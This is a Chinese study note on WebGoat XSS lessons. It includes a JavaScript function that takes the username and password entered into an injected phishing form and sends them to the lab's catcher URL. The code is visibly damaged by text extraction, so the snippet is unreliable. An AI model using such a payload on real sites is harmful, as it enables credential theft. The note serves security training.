WebGoat笔记九_跨站脚本攻击(Cross-Site Scripting (XSS))
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
WebGoat学习笔记九
—跨站脚本攻击(Cross-Site Scripting (XSS))
瞿靖东2015/11/10
版本号:WebGoat 5.4
1、使用XSS钓鱼(Phishing with XSS)
技术概念或主题(Concept / T opic T o T each)
在服务端对所有输入进行验证总是不错的做法。当用户输入非法HTTP响应时容易造成XSS。在XSS的帮助下,你可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
技术原理(How It works )
HTML文档内容很容易篡改的,如果你有权限操作页面源代码。
总体目标(General Goals )
创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catched PasswordNam
操作方法(Solutions)
利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,你需要结合起来使用:
受害人填写一个表格;
以读取脚本的形式,将收集到的信息发送给攻击者。
一个带用户名和密码输入框的表格如下:
搜索这段代码,你就能看到页面中增加了一个表单。
现在你需要一段脚本:
function hack()
{alert("Had this been a real attack... Your credentials were just stolen." User Name=”+
er.val ue+"Password=”+document.form.pass.value); XSSlmage=new
Image (); XSSlmage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
er.value+"&password="+document.form.pass.value+””;
}
这段代码会读取你在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat.
最后,就是要将这两段代码合并。最终需要输入的代码如下:
需要注意,最终的代码必须进行js压缩(取消缩进)才能生效。
搜索这段代码,你会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你。
2、跨站脚本攻击(LAB: Cross Site Scripting)
技术概念或主题(Concept / T opic T o T each)
输入验证是一个很好的方法,尤其是验证那些以后将用做参数的操作系统命令、脚本和数据库查询的输入。尤为重要的是,这些内容将会永久的存放在那里。应当禁止用户创建消息内容。用户的信息被检索时,可能导致其他用户加载一个不良的网页或不良的内容。当一个未经验证的用户的输入作为一个HTTP响应时,XSS攻击也可能会发生。在一个反射式XSS攻击中,攻击者会利用攻击脚本精心制作一个URL并通过将其发送到其他网站、电子邮件、或其他方式骗取受害者点击它。
总体目标(General Goals )
在这个练习中,你将执行存储和反射XSS攻击,你还可以通过在web应用程序中调整代码来防护这种攻击。
Stage 1:存储型XSS ( Stage 1: Stored XSS )
执行存储型跨站脚本攻击;
以“Tom”身份登录网站,修改个人信息。验证用户“Jerry”会受到攻击。每个帐号的密码是用户明名字的小写(如:Tom的密码是tom).